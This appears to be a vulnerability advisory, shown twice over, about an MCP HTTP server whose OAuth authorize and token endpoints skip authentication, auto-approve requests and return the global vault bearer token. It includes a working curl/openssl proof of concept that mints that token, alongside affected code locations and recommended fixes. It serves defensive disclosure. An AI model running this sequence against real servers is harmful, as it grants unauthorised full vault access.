Summary
The OAuth 2.1 endpoints exposed by the MCP HTTP server (/mcp/oauth/authorize, /mcp/oauth/token) are unauthenticated, unrate-limited, and not subject to the Origin/Bearer auth chain that protects /mcp. They auto-approve any authorization request without user interaction, do not validate redirect_uri or client_id, and the /mcp/oauth/token endpoint returns the global legacy bearer token to anyone who completes a PKCE flow they constructed themselves.
Impact: Any process that can reach the MCP listener (loopback by default → any local user/process; or remote if allow_insecure_bind=true) can mint a valid bearer token and gain full vault access through /mcp. This entirely defeats the bearer-token authentication model.
Location
internal/mcp/serverbootstrap/oauth.go:91-140 — handleOAuthAuthorize
internal/mcp/serverbootstrap/oauth.go:145-172 — handleOAuthToken
internal/mcp/serverbootstrap/http.go:181-183 — endpoints registered without auth middleware
Proof-of-concept (local attacker)
# 1. Generate PKCE verifier / challenge
VERIFIER=$(openssl rand -hex 32)
CHALLENGE=$(printf '%s' "$VERIFIER" | openssl dgst -sha256 -binary | basenc --base64url | tr -d '=')
# 2. Get authorization code (auto-approved, no user interaction)
CODE=$(curl -s -o /dev/null -w '%{redirect_url}' \
"http://127.0.0.1:PORT/mcp/oauth/authorize?response_type=code&client_id=x&redirect_uri=http://x/&code_challenge=$CHALLENGE&code_challenge_method=S256" \
| sed 's/.*code=//;s/&.*//')
# 3. Exchange code for the vault bearer token
curl -s -X POST "http://127.0.0.1:PORT/mcp/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&code_verifier=$VERIFIER"
# => {"access_token":"<legacy-vault-bearer-token>","token_type":"Bearer","expires_in":0}
The attacker now has the same token that protects every vault operation.
Why it bypasses every guard
| Guard |
Bypassed? |
BearerAuthMiddleware |
OAuth endpoints aren't behind it |
OriginValidationMiddleware |
Same — only /mcp is behind the chain |
RateLimiterMiddleware |
Same |
AgentHeaderMiddleware |
Same |
| PKCE |
Attacker generates their own verifier+challenge |
redirect_uri validation |
None — any URI accepted |
client_id validation |
None — anonymous public client |
| User consent |
handleOAuthAuthorize auto-redirects with the code |
Recommended fix
A combination of:
- Require explicit user consent in
handleOAuthAuthorize — surface a TTY/GUI prompt via secureui.RequestApproval before issuing a code; do not auto-redirect.
- Validate
redirect_uri against an allowlist registered at /oauth/register time and bound to the client_id returned.
- Bind the code to the
client_id and verify it again at the token endpoint.
- Do not return the legacy bearer token from
/mcp/oauth/token. Instead, mint a fresh scoped ScopedToken via TokenRegistry.Create with a short TTL and a narrow AllowedTools list, and return that.
- Put the OAuth endpoints behind
OriginValidationMiddleware so cross-origin browser fetches are rejected.
Until these are in place, MCP.allow_insecure_bind should refuse to start; even loopback-only is exploitable by any local user on a shared machine.
Summary
The OAuth 2.1 endpoints exposed by the MCP HTTP server (
/mcp/oauth/authorize,/mcp/oauth/token) are unauthenticated, unrate-limited, and not subject to the Origin/Bearer auth chain that protects/mcp. They auto-approve any authorization request without user interaction, do not validateredirect_uriorclient_id, and the/mcp/oauth/tokenendpoint returns the global legacy bearer token to anyone who completes a PKCE flow they constructed themselves.Impact: Any process that can reach the MCP listener (loopback by default → any local user/process; or remote if
allow_insecure_bind=true) can mint a valid bearer token and gain full vault access through/mcp. This entirely defeats the bearer-token authentication model.Location
internal/mcp/serverbootstrap/oauth.go:91-140—handleOAuthAuthorizeinternal/mcp/serverbootstrap/oauth.go:145-172—handleOAuthTokeninternal/mcp/serverbootstrap/http.go:181-183— endpoints registered without auth middlewareProof-of-concept (local attacker)
The attacker now has the same token that protects every vault operation.
Why it bypasses every guard
BearerAuthMiddlewareOriginValidationMiddleware/mcpis behind the chainRateLimiterMiddlewareAgentHeaderMiddlewareredirect_urivalidationclient_idvalidationhandleOAuthAuthorizeauto-redirects with the codeRecommended fix
A combination of:
handleOAuthAuthorize— surface a TTY/GUI prompt viasecureui.RequestApprovalbefore issuing a code; do not auto-redirect.redirect_uriagainst an allowlist registered at/oauth/registertime and bound to theclient_idreturned.client_idand verify it again at the token endpoint./mcp/oauth/token. Instead, mint a fresh scopedScopedTokenviaTokenRegistry.Createwith a short TTL and a narrowAllowedToolslist, and return that.OriginValidationMiddlewareso cross-origin browser fetches are rejected.Until these are in place,
MCP.allow_insecure_bindshould refuse to start; even loopback-only is exploitable by any local user on a shared machine.